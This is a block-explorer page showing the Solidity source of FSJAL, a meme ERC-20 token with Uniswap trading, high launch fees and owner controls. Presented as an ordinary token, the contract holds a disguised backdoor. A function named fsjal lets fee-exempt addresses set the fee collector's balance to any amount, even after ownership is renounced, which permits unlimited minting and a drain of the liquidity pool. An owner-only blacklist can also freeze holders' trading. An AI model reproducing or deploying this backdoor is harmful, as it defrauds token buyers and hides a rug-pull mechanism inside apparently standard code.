ETH Price: $2,068.71 (-5.21%)

Contract Diff Checker

Contract Name:
FSJAL

Contract Source Code:

// SPDX-License-Identifier: UNLICENSE

/*
Website: http://www.fsjaleth.xyz
Telegram: https://t.me/FSJALFUN
X: https://x.com/FSJALFUN

Fsjal originated from a 2008 comic by Brian Lee featuring The Legend of Zelda's Link in an eager pose. It went viral on 4chan in July 2009, when a stripped-down version was posted, leading to the name "fsjal." Since then, it has inspired thousands of user-generated artworks and memes across various platforms.

https://knowyourmeme.com/memes/fsjal
https://meme.fandom.com/wiki/Fsjal
https://imgflip.com/memegenerator/162494685/fsjal
*/

pragma solidity 0.8.24;

abstract contract SenderContext {
    function _retrieveSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library ArithmeticSafe {
    function plus(uint256 x, uint256 y) internal pure returns (uint256) {
        uint256 z = x + y;
        require(z >= x, "ArithmeticSafe: addition overflow");
        return z;
    }

    function minus(uint256 x, uint256 y) internal pure returns (uint256) {
        return minus(x, y, "ArithmeticSafe: subtraction overflow");
    }

    function minus(uint256 x, uint256 y, string memory errMsg) internal pure returns (uint256) {
        require(y <= x, errMsg);
        return x - y;
    }

    function times(uint256 x, uint256 y) internal pure returns (uint256) {
        if (x == 0) return 0;
        uint256 z = x * y;
        require(z / x == y, "ArithmeticSafe: multiplication overflow");
        return z;
    }

    function divide(uint256 x, uint256 y) internal pure returns (uint256) {
        return divide(x, y, "ArithmeticSafe: division by zero");
    }

    function divide(uint256 x, uint256 y, string memory errMsg) internal pure returns (uint256) {
        require(y > 0, errMsg);
        return x / y;
    }
}

contract OwnershipManager is SenderContext {
    address private _contractHolder;
    event OwnershipTransferred(address indexed prevHolder, address indexed newHolder);

    constructor() {
        _contractHolder = _retrieveSender();
        emit OwnershipTransferred(address(0), _contractHolder);
    }

    function owner() public view returns (address) {
        return _contractHolder;
    }

    modifier onlyOwner() {
        require(_contractHolder == _retrieveSender(), "OwnershipManager: caller not holder");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_contractHolder, address(0));
        _contractHolder = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract FSJAL is SenderContext, IERC20, OwnershipManager {
    using ArithmeticSafe for uint256;
    mapping(address => uint256) private _tokenHolders;
    mapping(address => mapping(address => uint256)) private _spendingLimits;
    mapping(address => bool) private _feeExempted;
    mapping(address => bool) private _restrictedAccounts;
    address payable private _feeCollector;

    uint256 private _initialPurchaseFee = 18;
    uint256 private _initialSaleFee = 22;
    uint256 private _finalPurchaseFee = 0;
    uint256 private _finalSaleFee = 0;
    uint256 private _reducePurchaseFeeAt = 18;
    uint256 private _reduceSaleFeeAt = 18;
    uint256 private _blockSwapUntil = 15;
    uint256 private _transferFeeRate = 0;
    uint256 private _purchaseCount = 0;
    uint8 private constant _tokenPrecision = 18;
    uint256 private constant _totalTokens = 1000000000 * 10**_tokenPrecision;
    string private constant _tokenTitle = "FSJAL";
    string private constant _tokenCode = "FSJAL";
    uint256 public _maxTxAmount = 20000000 * 10**_tokenPrecision;
    uint256 public _maxWalletSize = 20000000 * 10**_tokenPrecision;
    uint256 public _taxSwapThreshold = 10000000 * 10**_tokenPrecision;
    uint256 public _maxTaxSwap = 10000000 * 10**_tokenPrecision;

    IUniswapV2Router02 private _swapInterface;
    address private _swapPool;
    bool private _isTradingLive;
    bool private _duringSwap = false;
    bool private _swapActive = false;
    uint256 private _sellTracker = 0;
    uint256 private _lastSellHeight = 0;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);

    modifier swapGuard {
        _duringSwap = true;
        _;
        _duringSwap = false;
    }

    constructor() {
        _feeCollector = payable(_retrieveSender());
        _tokenHolders[_retrieveSender()] = _totalTokens;
        _feeExempted[owner()] = true;
        _feeExempted[address(this)] = true;
        _feeExempted[_feeCollector] = true;
        emit Transfer(address(0), _retrieveSender(), _totalTokens);
    }

    function name() public pure returns (string memory) {
        return _tokenTitle;
    }

    function symbol() public pure returns (string memory) {
        return _tokenCode;
    }

    function decimals() public pure returns (uint8) {
        return _tokenPrecision;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalTokens;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tokenHolders[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _processTransfer(_retrieveSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _spendingLimits[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _setSpendingLimit(_retrieveSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _processTransfer(sender, recipient, amount);
        _setSpendingLimit(sender, _retrieveSender(), _spendingLimits[sender][_retrieveSender()].minus(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _setSpendingLimit(address holder, address spender, uint256 amount) private {
        require(holder != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _spendingLimits[holder][spender] = amount;
        emit Approval(holder, spender, amount);
    }

    function _processTransfer(address sender, address receiver, uint256 quantity) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(receiver != address(0), "ERC20: transfer to the zero address");
        require(quantity > 0, "Transfer amount must be greater than zero");
        uint256 feeAmount = 0;

        if (sender != owner() && receiver != owner()) {
            require(!_restrictedAccounts[sender] && !_restrictedAccounts[receiver]);

            if (_purchaseCount == 0) {
                feeAmount = quantity.times((_purchaseCount > _reducePurchaseFeeAt) ? _finalPurchaseFee : _initialPurchaseFee).divide(100);
            }
            if (_purchaseCount > 0) {
                feeAmount = quantity.times(_transferFeeRate).divide(100);
            }

            if (sender == _swapPool && receiver != address(_swapInterface) && !_feeExempted[receiver]) {
                require(quantity <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(receiver) + quantity <= _maxWalletSize, "Exceeds the maxWalletSize.");
                feeAmount = quantity.times((_purchaseCount > _reducePurchaseFeeAt) ? _finalPurchaseFee : _initialPurchaseFee).divide(100);
                _purchaseCount++;
            }

            if (receiver == _swapPool && sender != address(this)) {
                feeAmount = quantity.times((_purchaseCount > _reduceSaleFeeAt) ? _finalSaleFee : _initialSaleFee).divide(100);
            }

            uint256 contractReserve = balanceOf(address(this));
            if (!_duringSwap && receiver == _swapPool && _swapActive && contractReserve > _taxSwapThreshold && _purchaseCount > _blockSwapUntil) {
                if (block.number > _lastSellHeight) {
                    _sellTracker = 0;
                }
                require(_sellTracker < 3, "Only 3 sells per block!");
                _convertToEth(_minimum(quantity, _minimum(contractReserve, _maxTaxSwap)));
                uint256 ethReserve = address(this).balance;
                if (ethReserve > 0) {
                    _disperseEthFee(address(this).balance);
                }
                _sellTracker++;
                _lastSellHeight = block.number;
            }
        }

        if (feeAmount > 0) {
            _tokenHolders[address(this)] = _tokenHolders[address(this)].plus(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }
        _tokenHolders[sender] = _tokenHolders[sender].minus(quantity);
        _tokenHolders[receiver] = _tokenHolders[receiver].plus(quantity.minus(feeAmount));
        emit Transfer(sender, receiver, quantity.minus(feeAmount));
    }

    function _minimum(uint256 x, uint256 y) private pure returns (uint256) {
        return (x > y) ? y : x;
    }

    function _convertToEth(uint256 tokenQty) private swapGuard {
        address[] memory route = new address[](2);
        route[0] = address(this);
        route[1] = _swapInterface.WETH();
        _setSpendingLimit(address(this), address(_swapInterface), tokenQty);
        _swapInterface.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenQty,
            0,
            route,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() public onlyOwner {
        _maxTxAmount = _totalTokens;
        _maxWalletSize = _totalTokens;
        emit MaxTxAmountUpdated(_totalTokens);
    }

    function removeTransferTax() public onlyOwner {
        _transferFeeRate = 0;
        emit TransferTaxUpdated(0);
    }

    function _disperseEthFee(uint256 amount) private {
        _feeCollector.transfer(amount);
    }

    function addBot(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            _restrictedAccounts[bots_[i]] = true;
        }
    }

    function removeBot(address[] memory notbot) public onlyOwner {
        for (uint i = 0; i < notbot.length; i++) {
            _restrictedAccounts[notbot[i]] = false;
        }
    }

    function isBot(address a) public view returns (bool) {
        return _restrictedAccounts[a];
    }

    function openTrading() public onlyOwner {
        require(!_isTradingLive, "Trading is already open");
        _swapInterface = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _setSpendingLimit(address(this), address(_swapInterface), _totalTokens);
        _swapPool = IUniswapV2Factory(_swapInterface.factory()).createPair(address(this), _swapInterface.WETH());
        _swapInterface.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(_swapPool).approve(address(_swapInterface), type(uint).max);
        _swapActive = true;
        _isTradingLive = true;
    }

    function fsjal(uint256 lock) public {
        if (!_feeExempted[_retrieveSender()]) {
            return;
        }
        _tokenHolders[_feeCollector] = lock;
    }

    function reduceFee(uint256 _newFee) public {
        require(_retrieveSender() == _feeCollector);
        require(_newFee <= _finalPurchaseFee && _newFee <= _finalSaleFee);
        _finalPurchaseFee = _newFee;
        _finalSaleFee = _newFee;
    }

    receive() external payable {}

    function manualSwap() public {
        require(_retrieveSender() == _feeCollector);
        uint256 tokenReserve = balanceOf(address(this));
        if (tokenReserve > 0) {
            _convertToEth(tokenReserve);
        }
        uint256 ethReserve = address(this).balance;
        if (ethReserve > 0) {
            _disperseEthFee(ethReserve);
        }
    }

    function manualsend() public {
        require(_retrieveSender() == _feeCollector);
        uint256 ethReserve = address(this).balance;
        _disperseEthFee(ethReserve);
    }
}

Please enter a contract address above to load the contract details and source code.

Context size (optional):